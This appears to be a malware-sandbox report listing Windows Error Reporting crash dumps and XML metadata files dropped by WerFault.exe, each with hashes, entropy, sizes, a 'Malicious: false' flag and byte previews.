SHA1:	CFC8B033BD6017C0FF61C6FEA5A15065534DA1CA
SHA-256:	A01038AD60256FD3DEF8814AFC39449E2CBE70E46E5A283C4F88F2F601FF7A35
SHA-512:	570BBAF7433FDE352D131B6143446FD8EF572AE8274A0D25546B5E3A2FC17D97385A6A9B2B25722D92D031B6DE99AB886F8A6739C37505336BD7C458009050A6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1260.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.491591192507724
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlmYm8M4JJpFmP+q87PNv9ud:uIjfdI7Yc7V8J0PkNv9ud
MD5:	A42AFD36853900ED0AA79B4A41B0855E
SHA1:	AC0DDEA1DA7874B6435468ADB10080EEAFA6FB15
SHA-256:	D2050F9B8770A0FFE46879D021C5407B9D8B87A9C05C852A546B9F49AF0D3B2A
SHA-512:	2418EFCD7062A5C6BAD2FA2B5C6C5D55E18A50F1986CF42585A2E973B3CA65221D03F1C2094556E9E33F3ADCFB10C4E0ADF712F732710EBF8FFA2BFE808474D8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER260.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	80030
Entropy (8bit):	1.9709333205778063
Encrypted:	false
SSDEEP:	384:E8M4bzQhirpssdVbOgeUnfzHWYsbYx3ZoyGa8C4Z5:xHQhirKM7fz2dYx3Zo5j
MD5:	2504E16C589F337FC3D227401B576875
SHA1:	57EA5C3EC2B5B0ED57B723774DF92E9F096F6F22
SHA-256:	3FD0B2EB069A18DD235B47D67ED340CF04CA7BE102902499213764ADB1B2EBFA
SHA-512:	A541E3D5D99F0CFAAD74436834B5AA21A47C39E31878EEE6DCF88C69DCBE7CABFA064A087FD7CA35C7A9CA2F66641A9BE78DD852BAC091719CEBEA617359D960
Malicious:	false
Preview:	MDMP..a..... .......s.$f........................4...........4....7..........T.......8...........T............&..........................................................................................................eJ......D.......GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7061736422999143
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4r6INanw6Y90SU9PG4gmf7epBT89bIPsfylYm:R6lXJE6INanw6Y+SU9O4gmf7dI0fa
MD5:	6852681B9493502A0BF05D07A36DEDF6
SHA1:	72870DECA6A30AE29E4CC58A3ED90BA39F50A8A7
SHA-256:	DC20D7A763A3D9FC732E01D93F718E849533575B2622C529BA039E0411E2ACD0
SHA-512:	BB2427A3EDC877C10ACBA19145275C7EF50AB3EE1A669B55FE759D0C605DA353E80B54EA7FD736A5D318A9CE8FFB22259E66F289B11490168C201996A4F6E194
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER30E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.505299484407478
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlXYm8M4JJJF5a+q8vCsNv9ud:uIjfdI7Yc7VFJ7aKbNv9ud
MD5:	EE4C049583E5E93114BF281E1A0F11DA
SHA1:	818A79E8DC41BE2D1F15665948BE48BA5FF84436
SHA-256:	90FD9F2BEC7906C9187FB7137E401A74450E3FE79B726D7C6DE9E1D411F2EE7F
SHA-512:	16B92E5AAF7F930FCCA4F541ED71CBF633218668EF9F9DA30D25301CD3BEA9EDC0FEDA71FFEA5EDFF055D0CB668BF9E421A6F39396B7006AE37E081379431978
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	92754
Entropy (8bit):	2.0708039396672278
Encrypted:	false
SSDEEP:	384:ZG6eaBAff32rGluXXyzfzRspaWYjIYB/Zo6Jmwya1KHilE2B:Ny2r0uafzRmtYB/ZolwyasHxO
MD5:	DD6F0AB836937DD70D417C0BF63D3CAB
SHA1:	189B67F1D56CEFBBD5A742411384E05C85B6EA49
SHA-256:	203EB984616BB7BAF90A1ECEF4E9549A0EEC1FBC6025274B54052F5CDB5657D7
SHA-512:	7AFA62F9472D148966A7A853C854CA38AA3086CEEFCEE6A3608B91EB177DD289153CDAC4C430DADAF5F8D648BF0B26B439891ED9EDFC7673582C2293BE9CCD46
Malicious:	false
Preview:	MDMP..a..... .......s.$f....................................$....<..........T.......8...........T............-..B=......................................................................................................eJ......$.......GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5BD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.707865443645911
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4s6IMMsF6Y9OSU9PG4gmf7epBH89bIPsfCYm:R6lXJD6IMMsF6YESU9O4gmf7hI0f8
MD5:	DB39089174FB388E21AF9E9CF2E2E841
SHA1:	9DEDEDA70C23A58A938BEA79F7BE75F5BCF1390A
SHA-256:	90AA50E3341D8F019629524940C08A4E23FEBEE58E5CA501397F551AFFC5EE59
SHA-512:	13514348CE2CE03822F9FE5C29FCEF50BD43F7DF6F56150795D0E2306C0FF1183B550736BF8C54963E1A003CC1B81B47F482A3531BA53BD342597BE5BF67E6AA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7067970462025857
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4i6IhSh6Y93SU9PG4gmf7epBy89bRPsfLfbm:R6lXJd6Ihc6YtSU9O4gmf7iR0fLa
MD5:	7E773F5D27B17C838AE5BEB05F1BE8F0
SHA1:	BB6C135B62A9F139BFA416A151CAA850933F5AB6
SHA-256:	12885FC5E89CA9F3C9E99D1714EFE415E1DFE1839F5DD90267BE62B76601B59C
SHA-512:	642D3865A3E9B3BF6C4C75E3E1B2EBECB2447193D10F7F99AEFB19BD4AD5B64404010A5E16AE2114E15F942DF63D2C75DFE6B06B0C31A6B964E723979BB3FC13
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FC.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.503613609409744
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlPYm8M4JJJFm1a+q8vCsNv9ud:uIjfdI7Yc7V5JQ1aKbNv9ud
MD5:	7EC6509EB2B2426BEE2F3B3ACF48D53D
SHA1:	5C2B1965BBF02BDF1731AF1B5B4954E8F30854BC
SHA-256:	B746B0FC8AB1C7FF1D26943CB69BE09B0A6C464124124DFCFA4CBA317A25F177
SHA-512:	544CBDB75D4106B8FB798AB412296F120DA211246463193E7419556DE71031152CA2689ADE72625220877FC6E238D3DA23E596AF30B109C533BA00122BD53AE9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.507387275095433
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlHYm8M4JJJF++q8vCsNv9ud:uIjfdI7Yc7V5JsKbNv9ud
MD5:	967CEECFF8DAD1F54A1226A7C4E996DE
SHA1:	6B6ABDAF906755EBC229272FC0540C573225F764
SHA-256:	869AAE4632ADACC42754BDF01B1F58F97AB73D7ABB96089AD1E6361208AB5C9A
SHA-512:	7644757ED5E99BB0AE4B3F98AB66864A2DE39B4506E85CEA34FAA32A020C61D77479F62D89E5F922DFCBE10A68B544557A5E14424FBBF938FE4FAD93E6B5E835
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:58 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	103282
Entropy (8bit):	2.14564733558387
Encrypted:	false
SSDEEP:	768:baL8WvreltAfzLiEF78zqqUvFYBvZo/4l:WYWwQzLiyH4l
MD5:	07938E5C129F21BD8720923E99DED9B7
SHA1:	68143ED634EEE4CAADD1C1128CE1A6294D1A9E4B
SHA-256:	257FC436A9EE56D655CB91938BB4EBCFCE34013B7397EE03DA3B7A95E3BEEC5B
SHA-512:	8435E45A30715B7B374096278045F116B2F8E67AAD20F467B5FADD0CCA4E2F8E8E5150B578681C7385C2816CFA9B3EB96CC3D8CBE269AB735561B302B95B6A12
Malicious:	false
Preview:	MDMP..a..... .......v.$f........................D...........T....D..........T.......8...........T............4...^..........0...........................................................................................eJ..............GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREC5.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7046973377118224
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4H6B6Y9ASU9kwgmf7epBa89b9Psft/m:R6lXJo6B6YqSU9kwgmf7690f4
MD5:	8DB7B817B09830A4F24C31B2A7FAE48C
SHA1:	38EC97D1C59543489793047DFEFF4A14CC09F65C
SHA-256:	2DEB0C905A72AD6E5878AF043A3EF96C458D394AA9B519C66FBB273EB1895558
SHA-512:	1D385DE58A2197FB464B9BDE1D8D10D44D2A665C9F84CF79940BB0FD46FCBB6FC34E815C480A980CBD68AD9967EEDBC28D257EC82BDFAA9B54F03F2A2911DC03
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF14.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.502029481161058
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlsYm8M4JJJFKr+q8vCsNv9ud:uIjfdI7Yc7VmJYKbNv9ud
MD5:	F3319EBA60906A157C0F5ABC29BA968A
SHA1:	21831E5AE98A650D0463CBB7AA5BF50F1B37840D
SHA-256:	D86B428425B7FB156B7BDA0ECCD52CFF4C97EE1D7B97AC12FDBEB3F50420C7EE
SHA-512:	8566D42A41CDEE0D788C173596DBE6A4B8386CC6A2834183369565DE2FAA75358F7BE2CA9C4E7D60910DC188DF69FE4F1918B871D05439684986EE55BF5C9505
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF7B2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:52 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63846
Entropy (8bit):	2.200581996419714
Encrypted:	false
SSDEEP:	384:OaXJedcArrlbgDuNfnsagcaE+3GPi04mHLZYsbYx3Zo3KHKg:VZaDrlXNfwHE+3Gf4WdYx3ZoeK
MD5:	8EC39E1E894FCA154105A14E3885B52C
SHA1:	C52FC25F139BF52638DC3F87ADC05315FC9AEF48
SHA-256:	E94E1A00B4894F3526EB6B98950031AFA7770A4562D8807493DF0221ADD4A3BA
SHA-512:	37794B7018C9690F0AE189754029F20175AD16EACC5AA3FB8B938E452236E04A9C5E74DE2537BE324B77996D7BB23CE0386BB2212AABC985222F4532CFA8E9B3
Malicious:	false
Preview:	MDMP..a..... .......p.$f........................\................-..........T.......8...........T........... ...F...........X...........D...............................................................................eJ..............GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF88E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8426
Entropy (8bit):	3.7045690030235034
Encrypted:	false
SSDEEP:	192:R6l7wVeJ436ImgV6Y9BSU9KYgmf7epBB89bnPsfANm:R6lXJg6ImgV6YbSU9KYgmf7nn0fH
MD5:	A8DF81847E065080C9B42D369C8D6F38
SHA1:	3C4E0CDD2B3DA7CB456AD07E93706CB15EB0521E
SHA-256:	6E4BC35B84501368116880B48345010AA041F5A98AA3F14F1C60A081FFC634DB
SHA-512:	F16DBCEE26E711DDEA1078E12809482955E0C534C41F4C66F0EB2308021BC0033A002C5B51AEA3A4F9E9654C296390CB143E97010BBB9F0B9CBC6677E623DAC7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 